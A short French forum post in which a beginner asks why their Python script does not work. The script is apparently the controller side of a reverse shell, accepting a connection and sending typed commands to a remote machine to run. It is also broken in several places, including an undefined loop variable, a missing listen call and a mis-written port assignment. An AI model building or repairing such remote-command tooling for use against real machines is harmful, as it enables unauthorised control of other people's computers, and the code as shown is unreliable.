Voila je suis nouveau et je ne comprend pas pk mon code ne marche pas. merci de m'aider


Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import socket, subprocess as sp, sys
 
 
host = sys.argv[1]
port: int(sys.argv[2])
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
conn, addr = s.accept()
 
print("{+}  Connection établie avec l'hote ! %s" % (str(addr[0])))
 
while l:
    command = raw_input("#> ")
    if command != "exit()":
        if command == "": continue
 
        conn.send(command)
        result = conn.recv(1024)
        total_size = long(result[16])
        result = result[16:]
 
        while total_size > len (result):
            data = conn.recv(1024)
            result += data
        print(result.rstrip("\n"))
    else:
        conn.send("exit()")
        print("{-} Connection fermée")
        break
 
s.close()